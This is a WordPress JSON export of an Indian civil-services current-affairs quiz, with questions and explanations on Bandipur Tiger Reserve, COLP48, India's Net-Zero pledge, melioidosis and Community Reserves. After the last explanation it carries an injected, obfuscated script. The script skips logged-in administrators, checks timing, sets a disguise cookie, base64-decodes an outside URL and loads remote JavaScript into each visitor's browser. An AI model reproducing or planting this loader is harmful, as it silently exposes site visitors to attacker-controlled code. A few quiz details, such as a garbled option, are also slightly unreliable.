Reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Bandipur Tiger Reserve:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li>Bandipur Tiger Reserve is located in <strong>Karnataka<\/strong>, in the <strong>Chamarajanagar district<\/strong>.<\/li>\n\n\n\n<li>It is part of the <strong>Nilgiri Biosphere Reserve<\/strong>, along with Nagarhole (Karnataka), Mudumalai (Tamil Nadu) and Wayanad (Kerala). <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>It lies at the confluence of the <strong>Deccan Plateau and the Western Ghats<\/strong>.<\/li>\n\n\n\n<li>The <strong>Kabini River<\/strong> flows through the northern boundary of the reserve. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>History<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-112\">\n<li>Bandipur was established as a <strong>Wildlife Sanctuary in 1931<\/strong>.<\/li>\n\n\n\n<li>It was upgraded to a <strong>National Park in 1974<\/strong>.<\/li>\n\n\n\n<li>In 1973, it was brought under <strong>Project Tiger<\/strong> and designated a <strong>Tiger Reserve<\/strong>. <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Flora &amp; Fauna<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-114\">\n<li>Vegetation includes <strong>tropical deciduous forests, dry scrub, and grassy woodlands<\/strong>.<\/li>\n\n\n\n<li>Major fauna: <strong>Bengal tiger, Asian elephant, Indian leopard, sloth bear, dhole (wild dog), gaur (Indian bison), chital, sambhar deer<\/strong>.<\/li>\n\n\n\n<li>It is part of the <strong>largest contiguous tiger habitat<\/strong> in India (with Mudumalai, Nagarhole and Wayanad).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Conservation Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-116\">\n<li>It serves as a <strong>critical wildlife corridor<\/strong> of the Nilgiri Biosphere, ensuring genetic exchange of tigers and elephants.<\/li>\n\n\n\n<li>The reserve faces threats from <strong>forest fires, highway traffic (NH-766 and NH-67), human\u2013wildlife conflict, and encroachment<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. From the ecological point of view, which one of the following assumes importance in being a good link between the Eastern Ghats and the Western Ghats?<\/strong> <br><br><strong>(a) Sathyamangalam Tiger Reserve<\/strong> <br>(b) Nallamala Forest <br>(c) Nagarhole National Park <br>(d) Seshachalam Biosphere Reserve<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/karnataka\/elephant-electrocuted-in-karnatakas-bandipur-tiger-reserve\/article70034412.ece#:~:text=An%20elephant%20was%20electrocuted%20on,in%20the%20Bandipur%20Tiger%20Reserve\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/karnataka\/elephant-electrocuted-in-karnatakas-bandipur-tiger-reserve\/article70034412.ece#:~:text=An%20elephant%20was%20electrocuted%20on,in%20the%20Bandipur%20Tiger%20Reserve<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>7. With reference to \u2018COLP48\u2019, sometimes seen in the news, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">1. It is a global forum advancing maritime stability, security, and sustainable development.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">2. It is the first time the COLP is hosted in the Indian subcontinent.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Which of the statements given above is \/ are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Answer: (c) Both 1 and 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>In NEWS: <\/strong>For the First Time in Nearly 50 Years, India Hosted COLP48, Strengthening Its Role in Ocean Governance<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>COLP48 (48th Annual Conference on Oceans Law &amp; Policy):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-130\">\n<li>The 48th Conference on Oceans Law &amp; Policy (COLP48) is a global forum advancing maritime stability, security, and sustainable development. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The theme of COLP48 is <strong><em>\u201cDeveloping World Approaches to Ocean Governance: Perspectives from the Indian Ocean Rim\u201d<\/em><\/strong>.<\/li>\n\n\n\n<li>It is the <strong>first time<\/strong> the COLP is being hosted in the <strong>Indian subcontinent<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>Key Themes \/ Issues to Be Addressed:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-132\">\n<li>Key focus areas include the <strong>triple planetary crisis<\/strong> \u2013 biodiversity loss, climate change, and ocean pollution.<\/li>\n\n\n\n<li>The conference discusses <strong>seabed minerals, offshore oil &amp; gas, and critical infrastructure<\/strong> in oceans.<\/li>\n\n\n\n<li>It covers <strong>fisheries, food security, and the BBNJ Agreement (Biodiversity Beyond National Jurisdiction)<\/strong>.<\/li>\n\n\n\n<li>Issues of <strong>maritime trade, shipping, and security<\/strong> are also central to the discussions.<\/li>\n\n\n\n<li>The role of <strong>emerging technologies and AI in ocean governance<\/strong> is highlighted.<\/li>\n\n\n\n<li>Special attention is given to the concerns of <strong>Small Island Developing States (SIDS)<\/strong> and <strong>non-state actors<\/strong>.<\/li>\n\n\n\n<li>The conference explores the <strong>future of ocean governance in the Indian Ocean region<\/strong> from a <strong>Global South perspective<\/strong>.<\/li>\n\n\n\n<li>It provides India an opportunity to strengthen its role in <strong>blue economy, maritime security, and ocean governance diplomacy<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. With reference to \u2018Agenda 21\u2019, sometimes seen in the news, consider the following statements:<\/strong> <br><br>1. It is a global action plan for sustainable development.<br>2. It originated in the World Summit on Sustainable Development held in Johannesburg in 2002. <br><br><strong>Which of the statements given above is \/ are correct?<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 only <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2165373\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2165373<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>8. With reference to \u201cNet-Zero emissions\u201d, which of the following statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">I. India announced its Net-Zero emissions target for 2070 at the COP26 UNFCCC Conference<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">II. India is the third-largest emitter of greenhouse gases after China and the USA.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Select the answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">(a) I only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">(b) II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">(c) Both I and II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">(d) Neither I nor II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Answer: (c) Both I and II<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>In NEWS: <\/strong>Sustainable aviation fuel policy in the works as India targets Net Zero by 2070<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>India\u2019s Net-Zero Target:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-146\">\n<li>India announced its <strong>Net-Zero emissions target for 2070<\/strong> at the <strong>COP26 UNFCCC Conference (Glasgow, 2021)<\/strong>. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>The target means that by 2070, India will <strong>balance greenhouse gas emissions with their removal<\/strong> (through carbon sinks, renewables, technology, etc.).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>India\u2019s 5 Commitments (Panchamrit \u2013 announced by PM Modi at COP26)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-148\">\n<li>By <strong>2030<\/strong>, India will reach <strong>500 GW of non-fossil fuel energy capacity<\/strong>.<\/li>\n\n\n\n<li>By <strong>2030<\/strong>, India will meet <strong>50% of its energy requirements from renewable sources<\/strong>.<\/li>\n\n\n\n<li>India will reduce its <strong>total projected carbon emissions by 1 billion tonnes<\/strong> by 2030.<\/li>\n\n\n\n<li>India will reduce the <strong>emissions intensity of GDP by 45%<\/strong> (from 2005 levels) by 2030.<\/li>\n\n\n\n<li>India will achieve <strong>Net Zero emissions by 2070<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-150\">\n<li>India is the <strong>third-largest emitter<\/strong> of greenhouse gases (after China and the USA). <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>Despite this, India\u2019s <strong>per capita emissions<\/strong> are far below the global average.<\/li>\n\n\n\n<li>The 2070 target balances <strong>climate responsibility with developmental needs<\/strong> (energy security, poverty reduction, industrial growth).<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"361\" height=\"224\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-13.jpg\" alt=\"\" class=\"wp-image-2363\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-13.jpg 361w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-13-300x186.jpg 300w\" sizes=\"auto, (max-width: 361px) 100vw, 361px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Steps Taken Towards Net-Zero<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-152\">\n<li>Expansion of <strong>solar and wind power<\/strong> (world\u2019s largest solar capacity addition program).<\/li>\n\n\n\n<li>Launch of <strong>National Hydrogen Mission (2021)<\/strong> to promote green hydrogen.<\/li>\n\n\n\n<li><strong>Energy Efficiency schemes<\/strong> \u2013 PAT (Perform, Achieve, Trade), UJALA, EESL initiatives.<\/li>\n\n\n\n<li><strong>Electric Mobility push<\/strong> \u2013 FAME II scheme, EV adoption targets.<\/li>\n\n\n\n<li><strong>Carbon markets and green bonds<\/strong> to finance clean energy.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following statements:\u00a0<\/strong> <br><br>I. Carbon dioxide (CO2) emissions in India are less than 0.5 t CO2\/ capita.\u00a0\u00a0 <br>II. In terms of CO2 emissions from fuel combustion, India ranks second in the Asia-Pacific region.\u00a0\u00a0<br>III. Electricity and heat producers are the largest sources of \u0421\u041e2 emissions in India.\u00a0\u00a0 <br><br><strong>Which of the statements given above is\/are correct?\u00a0\u00a0<\/strong> <br><br>(a) I and III only\u00a0\u00a0 <br>(b) II only\u00a0 <br><strong>(c) II and III only\u00a0\u00a0<\/strong> <br>(d) I, II and III<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/energy\/sustainable-aviation-fuel-policy-in-the-works-as-india-targets-net-zero-by-2070\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/energy\/sustainable-aviation-fuel-policy-in-the-works-as-india-targets-net-zero-by-2070<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>9. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\">I. Melioidosis is a severe bacterial disease caused by the bacterium found in soil and water, especially in tropical and subtropical regions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\">II. Melioidosis predominantly spreads through person-to-person transmission.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct? <\/strong>&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">(a) I only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">(b) II only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">(c) Both I and I&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">(d) Neither I nor II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>Answer: (a) I only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>In NEWS: <\/strong>An air of mystery surrounds the deaths in Turakapalem village near Andhra\u2019s Guntur city<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>Melioidosis:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-166\">\n<li>Melioidosis is a severe, sometimes fatal, infectious disease caused by the bacterium Burkholderia pseudomallei. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>It is contracted through contact with contaminated soil and water, particularly during the rainy season, and can manifest as lung infections, skin lesions, or widespread septicemia.<\/li>\n\n\n\n<li>The bacterium is found in soil and water, especially in tropical and subtropical regions.<\/li>\n\n\n\n<li>Handling soil, working in agriculture or construction, and activities involving contact with fresh water, especially during or after flooding increases the risk of exposure to the bacterium.<\/li>\n\n\n\n<li>While many infections are asymptomatic, people with chronic conditions like diabetes, kidney disease, or those who are immunosuppressed are at higher risk of severe illness.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>How it spreads:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-168\">\n<li>Through direct contact with contaminated soil or water.<\/li>\n\n\n\n<li>Inhalation of contaminated dust or water droplets.<\/li>\n\n\n\n<li>Ingestion of contaminated water.<\/li>\n\n\n\n<li>Contamination of open wounds or cuts.<\/li>\n\n\n\n<li>Person-to-person spread is very rare. There are only a few documented cases of person-to-person transmission. <strong>Hence statement II is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>Treatment and Outcome:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-170\">\n<li>Treatment requires long courses of antibiotics, which can last for several months.<\/li>\n\n\n\n<li>Aggressive and timely antibiotic therapy is critical for survival.<\/li>\n\n\n\n<li>Some infections, especially if left untreated, can lead to severe complications or death.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>Prevention:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-172\">\n<li>Wear protective footwear when in soil or water, especially in endemic areas.<\/li>\n\n\n\n<li>Use protective barriers to cover open wounds and abrasions.<\/li>\n\n\n\n<li>Exercise caution when handling soil or water during heavy rain or after floods.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. In tropical regions, Zika virus disease is transmitted by \u2018the same mosquito that transmits dengue. <br>2. Sexual transmission of Zika virus disease is possible <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br><strong>(c) Both 1 and 2<\/strong> <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/health\/an-air-of-mystery-surrounds-the-deaths-in-turakapalem-village-near-andhras-guntur-city#google_vignette\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/health\/an-air-of-mystery-surrounds-the-deaths-in-turakapalem-village-near-andhras-guntur-city#google_vignette<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>10. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\"><strong>Once the Central Government notifies an area as a &#8216;Community Reserve&#8217;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\">1. the Chief Wildlife Warden of the State becomes the governing authority of such forest<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\">2. hunting is not allowed in such area<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\">3. people of such area are allowed to collect non-timber forest produce<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\">4. people of such area are allowed traditional agricultural practices<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\"><strong>Answer: (c) Only three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>EXPLANATION:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-187\">\n<li>Community Reserves are notified by the <strong>State Government<\/strong>, not the Central Government.<strong> Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>They are managed by a <strong>Community Reserve Management Committee<\/strong> (with local people + Chief Wildlife Warden oversight), not solely by the Chief Wildlife Warden.<\/li>\n\n\n\n<li>Hunting is prohibited in Community Reserves just like in other protected areas.<\/li>\n\n\n\n<li>Community reserves allow sustainable use of resources like NTFP, fuelwood, etc., by locals.<\/li>\n\n\n\n<li>Traditional activities, including agriculture, are allowed as long as they are sustainable and not harmful to wildlife.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Which of the following is\/are the function\/functions of the Vice-President? 1. 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